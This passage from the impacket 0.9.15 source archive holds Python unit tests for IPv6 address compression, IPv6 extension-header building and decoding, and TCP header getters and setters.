"0001:0000:0000:0000:0000:0000:0000:0002",
"0001:0000:0000:0000:0000:0001:0002:0003",
"FE80:0234:0567:0004:0000:0000:0000:0001"
]
for f, c in zip(full_addresses, compressed_addresses):
self.assert_(IP6_Address.IP6_Address(f).as_string() == c, "IP6 address compression failed with full address: " + f)
self.assert_(IP6_Address.IP6_Address(c).as_string(False) == f, "IP6 address compression failed with compressed address:" + c)
def test_scoped_addresses(self):
'''Test scoped addresses.'''
numeric_scoped_address = "FE80::1234:1%12"
self.assert_(IP6_Address.IP6_Address(numeric_scoped_address).as_string() == numeric_scoped_address, "Numeric scoped address conversion failed on address: " + numeric_scoped_address)
self.assert_(IP6_Address.IP6_Address(numeric_scoped_address).get_scope_id() == "12", "Numeric scope ID fetch failed on address: " + numeric_scoped_address)
self.assert_(IP6_Address.IP6_Address(numeric_scoped_address).get_unscoped_address() == "FE80::1234:1", "Get unscoped address failed on address: " + numeric_scoped_address)
unscoped_address = "1::4:1"
self.assert_(IP6_Address.IP6_Address(unscoped_address).as_string() == unscoped_address, "Unscoped address conversion failed on address: " + unscoped_address)
self.assert_(IP6_Address.IP6_Address(unscoped_address).get_scope_id() == "", "Unscoped address scope ID fetch failed on address: " + unscoped_address)
self.assert_(IP6_Address.IP6_Address(unscoped_address).get_unscoped_address() == unscoped_address, "Get unscoped address failed on address: " + unscoped_address)
text_scoped_address = "FE80::1234:1%BLAH"
self.assert_(IP6_Address.IP6_Address(text_scoped_address).as_string() == text_scoped_address, "Text scoped address conversion failed on address: " + text_scoped_address)
self.assert_(IP6_Address.IP6_Address(text_scoped_address).get_scope_id() == "BLAH", "Text scope ID fetch failed on address: " + text_scoped_address)
self.assert_(IP6_Address.IP6_Address(text_scoped_address).get_unscoped_address() == "FE80::1234:1", "Get unscoped address failed on address: " + text_scoped_address)
empty_scoped_address = "FE80::1234:1%"
self.assertRaises(Exception, IP6_Address.IP6_Address, empty_scoped_address)
suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6_Address)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/ImpactPacket/test_IP6_Extension_Headers.py 0000600 0000765 0000000 00000070400 12734531507 027310 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
import sys
sys.path.insert(0,"../..")
#Impact test version
try:
from impacket import IP6_Address, IP6, ImpactDecoder, IP6_Extension_Headers
except:
pass
#Standalone test version
try:
import sys
sys.path.insert(0,"../..")
import IP6_Address, IP6, ImpactDecoder, IP6_Extension_Headers
except:
pass
import unittest
class TestIP6(unittest.TestCase):
def string_to_list(self, bytes):
return map(ord, list(bytes))
def test_create_simple_hop_by_hop(self):
hop_by_hop_binary_packet = [0x3a, 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00]
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
hop_by_hop.set_next_header(58)
self.assertEquals(
self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet,
"Simple Hop By Hop Header creation - Buffer mismatch")
self.assertEquals(
hop_by_hop.get_size(), len(hop_by_hop_binary_packet),
"Simple Hop By Hop Header creation - Size mismatch")
def test_simple_hop_by_hop_contained_in_ipv6(self):
ipv6_binary_packet = [
0x64, 0x82, 0x46, 0x05,
0x05, 0xdc, 0x00, 0x01,
0xfe, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x78, 0xf8, 0x89, 0xd1,
0x30, 0xff, 0x25, 0x6b,
0xff, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x03]
hop_by_hop_binary_packet = [
0x3a, 0x00, 0x01, 0x04,
0x00, 0x00, 0x00, 0x00]
binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet
ip6_packet = IP6.IP6()
ip6_packet.set_traffic_class(72)
ip6_packet.set_flow_label(148997)
ip6_packet.set_payload_length(1500)
ip6_packet.set_next_header(17)
ip6_packet.set_hop_limit(1)
ip6_packet.set_source_address("FE80::78F8:89D1:30FF:256B")
ip6_packet.set_destination_address("FF02::1:3")
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
hop_by_hop.set_next_header(58)
ip6_packet.contains(hop_by_hop)
self.assertEquals(
self.string_to_list(ip6_packet.get_packet()), binary_packet,
"IP6 Hop By Hop Header contained in IPv6 Header - Buffer mismatch")
self.assertEquals(
ip6_packet.get_size(), len(binary_packet),
"IP6 Hop By Hop Header contained in IPv6 Header - Size mismatch")
def test_add_option_to_hop_by_hop(self):
hop_by_hop_binary_packet = [
0x3a, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
hop_by_hop.set_next_header(58)
hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))
self.assertEquals(
self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet,
"Add Option to Hop By Hop Header - Buffer mismatch")
self.assertEquals(
hop_by_hop.get_size(), len(hop_by_hop_binary_packet),
"Add Option to Hop By Hop Header - Size mismatch")
def test_pad_hop_by_hop_when_adding_option(self):
hop_by_hop_binary_packet = [
0x3a, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
hop_by_hop.set_next_header(58)
hop_by_hop.add_option(IP6_Extension_Headers.Option_PAD1())
self.assertEquals(
self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet,
"Pad Hop By Hop Header when adding option - Buffer mismatch")
self.assertEquals(
hop_by_hop.get_size(), len(hop_by_hop_binary_packet),
"Pad Hop By Hop Header when adding option - Size mismatch")
def test_create_simple_dest_opts(self):
dest_opts_binary_packet = [0x3a, 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00]
dest_opts = IP6_Extension_Headers.Destination_Options()
dest_opts.set_next_header(58)
self.assertEquals(
self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet,
"Simple Destination Options Header creation - Buffer mismatch")
self.assertEquals(
dest_opts.get_size(), len(dest_opts_binary_packet),
"Simple Destination Options Header creation - Size mismatch")
def test_simple_dest_opts_contained_in_ipv6(self):
ipv6_binary_packet = [
0x64, 0x82, 0x46, 0x05,
0x05, 0xdc, 0x3c, 0x01,
0xfe, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x78, 0xf8, 0x89, 0xd1,
0x30, 0xff, 0x25, 0x6b,
0xff, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x03]
dest_opts_binary_packet = [
0x3a, 0x00, 0x01, 0x04,
0x00, 0x00, 0x00, 0x00]
binary_packet = ipv6_binary_packet + dest_opts_binary_packet
ip6_packet = IP6.IP6()
ip6_packet.set_traffic_class(72)
ip6_packet.set_flow_label(148997)
ip6_packet.set_payload_length(1500)
ip6_packet.set_next_header(17)
ip6_packet.set_hop_limit(1)
ip6_packet.set_source_address("FE80::78F8:89D1:30FF:256B")
ip6_packet.set_destination_address("FF02::1:3")
dest_opts = IP6_Extension_Headers.Destination_Options()
dest_opts.set_next_header(58)
ip6_packet.contains(dest_opts)
self.assertEquals(
self.string_to_list(ip6_packet.get_packet()), binary_packet,
"IP6 Destination Options Header contained in IPv6 Header - Buffer mismatch")
self.assertEquals(
ip6_packet.get_size(), len(binary_packet),
"IP6 Destination Options Header contained in IPv6 Header - Size mismatch")
def test_add_option_to_dest_opts(self):
dest_opts_binary_packet = [
0x3a, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
dest_opts = IP6_Extension_Headers.Destination_Options()
dest_opts.set_next_header(58)
dest_opts.add_option(IP6_Extension_Headers.Option_PADN(14))
self.assertEquals(
self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet,
"Add Option to Destination Options Header - Buffer mismatch")
self.assertEquals(
dest_opts.get_size(), len(dest_opts_binary_packet),
"Add Option to Destination Options Header - Size mismatch")
def test_pad_dest_opts_when_adding_option(self):
dest_opts_binary_packet = [
0x3a, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
dest_opts = IP6_Extension_Headers.Destination_Options()
dest_opts.set_next_header(58)
dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())
self.assertEquals(
self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet,
"Pad Destination Options Header when adding option - Buffer mismatch")
self.assertEquals(
dest_opts.get_size(), len(dest_opts_binary_packet),
"Pad Destination Options Header when adding option - Size mismatch")
def test_create_simple_routing_options(self):
routing_options_binary_packet = [0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
routing_options = IP6_Extension_Headers.Routing_Options()
routing_options.set_next_header(58)
self.assertEquals(
self.string_to_list(routing_options.get_packet()), routing_options_binary_packet,
"Simple Routing Options Header creation - Buffer mismatch")
self.assertEquals(
routing_options.get_size(), len(routing_options_binary_packet),
"Simple Routing Options Header creation - Size mismatch")
def test_simple_routing_options_contained_in_ipv6(self):
ipv6_binary_packet = [
0x64, 0x82, 0x46, 0x05,
0x05, 0xdc, 0x2b, 0x01,
0xfe, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x78, 0xf8, 0x89, 0xd1,
0x30, 0xff, 0x25, 0x6b,
0xff, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x03]
routing_options_binary_packet = [
0x3a, 0x00, 0x00, 0x0a,
0x00, 0x00, 0x00, 0x00]
binary_packet = ipv6_binary_packet + routing_options_binary_packet
ip6_packet = IP6.IP6()
ip6_packet.set_traffic_class(72)
ip6_packet.set_flow_label(148997)
ip6_packet.set_payload_length(1500)
ip6_packet.set_next_header(17)
ip6_packet.set_hop_limit(1)
ip6_packet.set_source_address("FE80::78F8:89D1:30FF:256B")
ip6_packet.set_destination_address("FF02::1:3")
routing_options = IP6_Extension_Headers.Routing_Options()
routing_options.set_next_header(58)
routing_options.set_routing_type(0)
routing_options.set_segments_left(10)
ip6_packet.contains(routing_options)
self.assertEquals(
self.string_to_list(ip6_packet.get_packet()), binary_packet,
"IP6 Hop By Hop Header contained in IPv6 Header - Buffer mismatch")
self.assertEquals(
ip6_packet.get_size(), len(binary_packet),
"IP6 Hop By Hop Header contained in IPv6 Header - Size mismatch")
def test_chained_basic_options(self):
dest_opts_binary_packet = [
0x2b, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
routing_options_binary_packet = [
0x00, 0x00, 0x00, 0x0a,
0x00, 0x00, 0x00, 0x00]
hop_by_hop_binary_packet = [
0x3a, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
binary_packet = dest_opts_binary_packet + routing_options_binary_packet + hop_by_hop_binary_packet
dest_opts = IP6_Extension_Headers.Destination_Options()
dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())
routing_options = IP6_Extension_Headers.Routing_Options()
routing_options.set_next_header(58)
routing_options.set_routing_type(0)
routing_options.set_segments_left(10)
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))
dest_opts.contains(routing_options)
routing_options.contains(hop_by_hop)
hop_by_hop.set_next_header(58)
self.assertEquals(
self.string_to_list(dest_opts.get_packet()), binary_packet,
"Chained options - Buffer mismatch")
self.assertEquals(
dest_opts.get_size(), len(binary_packet),
"Chained options - Size mismatch")
def test_chained_basic_options_inside_ipv6_packet(self):
ipv6_binary_packet = [
0x64, 0x82, 0x46, 0x05,
0x05, 0xdc, 0x00, 0x01,
0xfe, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x78, 0xf8, 0x89, 0xd1,
0x30, 0xff, 0x25, 0x6b,
0xff, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x03]
hop_by_hop_binary_packet = [
0x2b, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
routing_options_binary_packet = [
0x3c, 0x00, 0x00, 0x0a,
0x00, 0x00, 0x00, 0x00]
dest_opts_binary_packet = [
0x3a, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet + routing_options_binary_packet + dest_opts_binary_packet
ip6_packet = IP6.IP6()
ip6_packet.set_traffic_class(72)
ip6_packet.set_flow_label(148997)
ip6_packet.set_payload_length(1500)
ip6_packet.set_next_header(17)
ip6_packet.set_hop_limit(1)
ip6_packet.set_source_address("FE80::78F8:89D1:30FF:256B")
ip6_packet.set_destination_address("FF02::1:3")
hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))
routing_options = IP6_Extension_Headers.Routing_Options()
routing_options.set_next_header(58)
routing_options.set_routing_type(0)
routing_options.set_segments_left(10)
dest_opts = IP6_Extension_Headers.Destination_Options()
dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())
ip6_packet.contains(hop_by_hop)
hop_by_hop.contains(routing_options)
routing_options.contains(dest_opts)
dest_opts.set_next_header(58)
self.assertEquals(
self.string_to_list(ip6_packet.get_packet()), binary_packet,
"Chained options inside an IPv6 packet - Buffer mismatch")
self.assertEquals(
ip6_packet.get_size(), len(binary_packet),
"Chained options inside an IPv6 packet - Size mismatch")
def test_decoding_simple_hop_by_hop(self):
hop_by_hop_binary_packet = [
0x2b, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
d = ImpactDecoder.HopByHopDecoder()
parsed_packet = d.decode(hop_by_hop_binary_packet)
next_header = parsed_packet.get_next_header()
header_extension_length = parsed_packet.get_header_extension_length()
options = parsed_packet.get_options()
self.assertEquals(1, len(options), "Simple Hop By Hop Parsing - Wrong Quantity of Options")
padn_option = options[0]
padn_option_type = padn_option.get_option_type()
padn_option_length = padn_option.get_option_length()
self.assertEquals(parsed_packet.get_header_type(), 0, "Simple Hop By Hop Parsing - Incorrect packet")
self.assertEquals(next_header, 43, "Simple Hop By Hop Parsing - Incorrect next header value")
self.assertEquals(header_extension_length, 1, "Simple Hop By Hop Parsing - Incorrect size")
self.assertEquals(padn_option_type, 1, "Simple Hop By Hop Parsing - Incorrect option type")
self.assertEquals(padn_option_length, 12, "Simple Hop By Hop Parsing - Incorrect option size")
def test_decoding_multi_option_hop_by_hop(self):
hop_by_hop_binary_packet = [
0x3a, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
d = ImpactDecoder.HopByHopDecoder()
parsed_packet = d.decode(hop_by_hop_binary_packet)
next_header = parsed_packet.get_next_header()
header_extension_length = parsed_packet.get_header_extension_length()
options = parsed_packet.get_options()
self.assertEquals(2, len(options), "Simple Hop By Hop Parsing - Wrong Quantity of Options")
pad1_option = options[0]
pad1_option_type = pad1_option.get_option_type()
padn_option = options[1]
padn_option_type = padn_option.get_option_type()
padn_option_length = padn_option.get_option_length()
self.assertEquals(parsed_packet.get_header_type(), 0, "Hop By Hop with multiple options parsing - Incorrect packet")
self.assertEquals(next_header, 58, "Hop By Hop with multiple options parsing - Incorrect next header value")
self.assertEquals(header_extension_length, 0, "Hop By Hop with multiple options parsing - Incorrect size")
self.assertEquals(pad1_option_type, 0, "Hop By Hop with multiple options parsing - Incorrect option type")
self.assertEquals(padn_option_type, 1, "Hop By Hop with multiple options parsing - Incorrect option type")
self.assertEquals(padn_option_length, 3, "Hop By Hop with multiple options parsing - Incorrect option size")
def test_decoding_simple_destination_options(self):
destination_options_binary_packet = [
0x2b, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
d = ImpactDecoder.DestinationOptionsDecoder()
parsed_packet = d.decode(destination_options_binary_packet)
next_header = parsed_packet.get_next_header()
header_extension_length = parsed_packet.get_header_extension_length()
options = parsed_packet.get_options()
self.assertEquals(1, len(options), "Simple Destination Options Parsing - Wrong Quantity of Options")
padn_option = options[0]
padn_option_type = padn_option.get_option_type()
padn_option_length = padn_option.get_option_length()
self.assertEquals(parsed_packet.get_header_type(), 60, "Simple Destination Options Parsing - Incorrect packet")
self.assertEquals(next_header, 43, "Simple Destination Options Parsing - Incorrect next header value")
self.assertEquals(header_extension_length, 1, "Simple Destination Options Parsing - Incorrect size")
self.assertEquals(padn_option_type, 1, "Simple Destination Options Parsing - Incorrect option type")
self.assertEquals(padn_option_length, 12, "Simple Destination Options Parsing - Incorrect option size")
def test_decoding_multi_option_destination_options(self):
destination_options_binary_packet = [
0x3a, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
d = ImpactDecoder.DestinationOptionsDecoder()
parsed_packet = d.decode(destination_options_binary_packet)
next_header = parsed_packet.get_next_header()
header_extension_length = parsed_packet.get_header_extension_length()
options = parsed_packet.get_options()
self.assertEquals(2, len(options), "Destination Options with multiple options parsing - Wrong Quantity of Options")
pad1_option = options[0]
pad1_option_type = pad1_option.get_option_type()
padn_option = options[1]
padn_option_type = padn_option.get_option_type()
padn_option_length = padn_option.get_option_length()
self.assertEquals(parsed_packet.get_header_type(), 60, "Destination Options with multiple options parsing - Incorrect packet")
self.assertEquals(next_header, 58, "Destination Options with multiple options parsing - Incorrect next header value")
self.assertEquals(header_extension_length, 0, "Destination Options with multiple options parsing - Incorrect size")
self.assertEquals(pad1_option_type, 0, "Destination Options with multiple options parsing - Incorrect option type")
self.assertEquals(padn_option_type, 1, "Destination Options with multiple options parsing - Incorrect option type")
self.assertEquals(padn_option_length, 3, "Destination Options with multiple options parsing - Incorrect option size")
def test_decoding_simple_routing_options(self):
routing_options_binary_packet = [0x3a, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00]
d = ImpactDecoder.RoutingOptionsDecoder()
parsed_packet = d.decode(routing_options_binary_packet)
next_header = parsed_packet.get_next_header()
header_extension_length = parsed_packet.get_header_extension_length()
routing_type = parsed_packet.get_routing_type()
segments_left = parsed_packet.get_segments_left()
options = parsed_packet.get_options()
self.assertEquals(parsed_packet.get_header_type(), 43, "Simple Routing Options Parsing - Incorrect packet")
self.assertEquals(next_header, 58, "Simple Routing Options Parsing - Incorrect next header value")
self.assertEquals(header_extension_length, 0, "Simple Routing Options Parsing - Incorrect size")
self.assertEquals(routing_type, 0, "Simple Routing Options Parsing - Incorrect routing type")
self.assertEquals(segments_left, 10, "Simple Routing Options Parsing - Incorrect quantity of segments left size")
self.assertEquals(0, len(options), "Simple Routing Options Parsing - Wrong Quantity of Options")
def test_decoding_chained_basic_options_inside_ipv6_packet(self):
ipv6_binary_packet = [
0x64, 0x82, 0x46, 0x05,
0x05, 0xdc, 0x00, 0x01,
0xfe, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x78, 0xf8, 0x89, 0xd1,
0x30, 0xff, 0x25, 0x6b,
0xff, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x03]
hop_by_hop_binary_packet = [
0x2b, 0x01, 0x01, 0x0C,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]
routing_options_binary_packet = [
0x3c, 0x00, 0x00, 0x0a,
0x00, 0x00, 0x00, 0x00]
dest_opts_binary_packet = [
0x3a, 0x00, 0x00, 0x01,
0x03, 0x00, 0x00, 0x00]
binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet + routing_options_binary_packet + dest_opts_binary_packet
d = ImpactDecoder.IP6Decoder()
parsed_ipv6_packet = d.decode(binary_packet)
# IPv6 Parsing
ipv6_protocol_version = parsed_ipv6_packet.get_protocol_version()
ipv6_traffic_class = parsed_ipv6_packet.get_traffic_class()
ipv6_flow_label = parsed_ipv6_packet.get_flow_label()
ipv6_payload_length = parsed_ipv6_packet.get_payload_length()
ipv6_next_header = parsed_ipv6_packet.get_next_header()
ipv6_hop_limit = parsed_ipv6_packet.get_hop_limit()
ipv6_source_address = parsed_ipv6_packet.get_source_address()
ipv6_destination_address = parsed_ipv6_packet.get_destination_address()
# Hop By Hop Parsing
hop_by_hop_parsed_packet = parsed_ipv6_packet.child()
hop_by_hop_next_header = hop_by_hop_parsed_packet.get_next_header()
hop_by_hop_header_extension_length = hop_by_hop_parsed_packet.get_header_extension_length()
hop_by_hop_options = hop_by_hop_parsed_packet.get_options()
self.assertEquals(1, len(hop_by_hop_options), "Hop By Hop Parsing - Wrong Quantity of Options")
hop_by_hop_padn_option = hop_by_hop_options[0]
hop_by_hop_padn_option_type = hop_by_hop_padn_option.get_option_type()
hop_by_hop_padn_option_length = hop_by_hop_padn_option.get_option_length()
# Routing Options Tests
routing_options_parsed_packet = hop_by_hop_parsed_packet.child()
routing_options_next_header = routing_options_parsed_packet.get_next_header()
routing_options_header_extension_length = routing_options_parsed_packet.get_header_extension_length()
routing_options_routing_type = routing_options_parsed_packet.get_routing_type()
routing_options_segments_left = routing_options_parsed_packet.get_segments_left()
routing_options_options = routing_options_parsed_packet.get_options()
# Destination Options Parsing
destination_options_parsed_packet = routing_options_parsed_packet.child()
destination_options_next_header = destination_options_parsed_packet.get_next_header()
destination_options_header_extension_length = destination_options_parsed_packet.get_header_extension_length()
destination_options_options = destination_options_parsed_packet.get_options()
self.assertEquals(2, len(destination_options_options), "Destination Options Parsing - Wrong Quantity of Options")
destination_options_pad1_option = destination_options_options[0]
destination_options_pad1_option_type = destination_options_pad1_option.get_option_type()
destination_options_padn_option = destination_options_options[1]
destination_options_padn_option_type = destination_options_padn_option.get_option_type()
destination_options_padn_option_length = destination_options_padn_option.get_option_length()
self.assertEquals(ipv6_protocol_version, 6, "IP6 parsing - Incorrect protocol version")
self.assertEquals(ipv6_traffic_class, 72, "IP6 parsing - Incorrect traffic class")
self.assertEquals(ipv6_flow_label, 148997, "IP6 parsing - Incorrect flow label")
self.assertEquals(ipv6_payload_length, 1500, "IP6 parsing - Incorrect payload length")
self.assertEquals(ipv6_next_header, 0, "IP6 parsing - Incorrect next header")
self.assertEquals(ipv6_hop_limit, 1, "IP6 parsing - Incorrect hop limit")
self.assertEquals(ipv6_source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address")
self.assertEquals(ipv6_destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address")
self.assertEquals(hop_by_hop_parsed_packet.get_header_type(), 0, "Hop By Hop Parsing - Incorrect packet")
self.assertEquals(hop_by_hop_next_header, 43, "Hop By Hop Parsing - Incorrect next header value")
self.assertEquals(hop_by_hop_header_extension_length, 1, "Hop By Hop Parsing - Incorrect size")
self.assertEquals(hop_by_hop_padn_option_type, 1, "Hop By Hop Parsing - Incorrect option type")
self.assertEquals(hop_by_hop_padn_option_length, 12, "Hop By Hop Parsing - Incorrect option size")
self.assertEquals(routing_options_parsed_packet.get_header_type(), 43, "Routing Options Parsing - Incorrect packet")
self.assertEquals(routing_options_next_header, 60, "Routing Options Parsing - Incorrect next header value")
self.assertEquals(routing_options_header_extension_length, 0, "Routing Options Parsing - Incorrect size")
self.assertEquals(routing_options_routing_type, 0, "Routing Options Parsing - Incorrect routing type")
self.assertEquals(routing_options_segments_left, 10, "Routing Options Parsing - Incorrect quantity of segments left size")
self.assertEquals(0, len(routing_options_options), "Routing Options Parsing - Wrong Quantity of Options")
self.assertEquals(destination_options_parsed_packet.get_header_type(), 60, "Destination Options Parsing - Incorrect packet")
self.assertEquals(destination_options_next_header, 58, "Destination Options Parsing - Incorrect next header value")
self.assertEquals(destination_options_header_extension_length, 0, "Destination Options Parsing - Incorrect size")
self.assertEquals(destination_options_pad1_option_type, 0, "Destination Options Parsing - Incorrect option type")
self.assertEquals(destination_options_padn_option_type, 1, "Destination Options Parsing - Incorrect option type")
self.assertEquals(destination_options_padn_option_length, 3, "Destination Options Parsing - Incorrect option size")
def test_decoding_extension_header_from_string(self):
hop_by_hop_binary_packet = '\x2b\x01\x01\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
d = ImpactDecoder.HopByHopDecoder()
parsed_packet = d.decode(hop_by_hop_binary_packet)
next_header = parsed_packet.get_next_header()
header_extension_length = parsed_packet.get_header_extension_length()
options = parsed_packet.get_options()
self.assertEquals(1, len(options), "Simple Hop By Hop Parsing - Wrong Quantity of Options")
padn_option = options[0]
padn_option_type = padn_option.get_option_type()
padn_option_length = padn_option.get_option_length()
self.assertEquals(parsed_packet.get_header_type(), 0, "Simple Hop By Hop Parsing - Incorrect packet")
self.assertEquals(next_header, 43, "Simple Hop By Hop Parsing - Incorrect next header value")
self.assertEquals(header_extension_length, 1, "Simple Hop By Hop Parsing - Incorrect size")
self.assertEquals(padn_option_type, 1, "Simple Hop By Hop Parsing - Incorrect option type")
self.assertEquals(padn_option_length, 12, "Simple Hop By Hop Parsing - Incorrect option size")
suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/ImpactPacket/test_TCP.py 0000600 0000765 0000000 00000011017 12734531507 023650 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
#Impact test version
try:
from impacket.ImpactDecoder import EthDecoder
from impacket.ImpactPacket import TCP
except:
pass
#Standalone test version
try:
import sys
sys.path.insert(0,"../..")
from ImpactDecoder import EthDecoder
from ImpactPacket import TCP
except:
pass
from binascii import hexlify
import unittest
class TestTCP(unittest.TestCase):
def setUp(self):
# TCP - sport: 60655, dport: 80, sec: 0, HLen: 40, Flags: 0x02, win_size: 5840
# cksum: 0x64cb, Options: 0x20
self.frame = '\xec\xef\x00\x50\xa8\xbd\xea\x4c\x00\x00\x00\x00\xa0\x02\x16\xd0' \
'\x64\xcb\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xdc\xd6\x12' \
'\x00\x00\x00\x00\x01\x03\x03\x06'
self.tcp = TCP(self.frame)
def test_01(self):
'Test TCP get_packet'
self.assertEqual(self.tcp.get_packet(), self.frame)
def test_02(self):
'Test TCP getters'
self.assertEqual(self.tcp.get_th_sport(), 60655)
self.assertEqual(self.tcp.get_th_dport(), 80)
self.assertEqual(self.tcp.get_th_off()*4, 40) # *4 because are words
self.assertEqual(self.tcp.get_th_flags(), 0x02)
self.assertEqual(self.tcp.get_th_win(), 5840)
self.assertEqual(self.tcp.get_th_sum(), 0x64cb)
self.assertEqual(self.tcp.get_SYN(), 1)
self.assertEqual(self.tcp.get_RST(), 0)
def test_03(self):
'Test TCP port setters'
self.tcp.set_th_sport(54321)
self.assertEqual(self.tcp.get_th_sport(), 54321)
self.tcp.set_th_dport(81)
self.assertEqual(self.tcp.get_th_dport(), 81)
def test_04(self):
'Test TCP offset setters'
# test that set_th_off doesnt affect to flags
flags = int('10101010',2)
self.tcp.set_th_flags( flags )
self.assertEqual(self.tcp.get_th_flags(), flags)
self.tcp.set_th_off(4)
self.assertEqual(self.tcp.get_th_off(), 4)
self.assertEqual(self.tcp.get_th_flags(), flags)
def test_05(self):
'Test TCP win setters'
self.tcp.set_th_win(12345)
self.assertEqual(self.tcp.get_th_win(), 12345)
def test_06(self):
'Test TCP checksum setters'
self.tcp.set_th_sum(0xFEFE)
self.assertEqual(self.tcp.get_th_sum(), 0xFEFE)
def test_07(self):
'Test TCP flags setters'
self.tcp.set_th_flags(0x03) # SYN+FIN
self.assertEqual(self.tcp.get_th_flags(), 0x03)
self.tcp.set_ACK()
self.assertEqual(self.tcp.get_ACK(), 1)
self.assertEqual(self.tcp.get_SYN(), 1)
self.assertEqual(self.tcp.get_FIN(), 1)
self.assertEqual(self.tcp.get_RST(), 0)
self.assertEqual(self.tcp.get_th_flags(), 19)
def test_08(self):
'Test TCP reset_flags'
# Test 1
self.tcp.set_th_flags(19) # ACK+SYN+FIN
self.assertEqual(self.tcp.get_th_flags(), 19)
self.assertEqual(self.tcp.get_ACK(), 1)
self.assertEqual(self.tcp.get_SYN(), 1)
self.assertEqual(self.tcp.get_FIN(), 1)
self.assertEqual(self.tcp.get_RST(), 0)
self.tcp.reset_flags(0x02)
self.assertEqual(self.tcp.get_th_flags(), 17)
# Test 2
flags = int('10011', 2) # 19 = ACK+SYN+FIN
self.tcp.set_th_flags(flags)
self.assertEqual(self.tcp.get_th_flags(), 19)
# 010011
# 000010
# ------
# 010001 = 17
self.tcp.reset_flags(int('000010',2))
self.assertEqual(self.tcp.get_th_flags(), 17)
# Test 3
flags = int('10011', 2) # 19 = ACK+SYN+FIN
self.tcp.set_th_flags(flags)
self.assertEqual(self.tcp.get_th_flags(), 19)
# 010011
# 010001
# ------
# 000010 = 2
self.tcp.reset_flags(int('010001',2))
self.assertEqual(self.tcp.get_th_flags(), 2)
def test_09(self):
'Test TCP set_flags'
flags = int('10101010',2) # 0xAA
self.tcp.set_flags(flags)
self.assertEqual(self.tcp.get_FIN(), 0)
self.assertEqual(self.tcp.get_SYN(), 1)
self.assertEqual(self.tcp.get_RST(), 0)
self.assertEqual(self.tcp.get_PSH(), 1)
self.assertEqual(self.tcp.get_ACK(), 0)
self.assertEqual(self.tcp.get_URG(), 1)
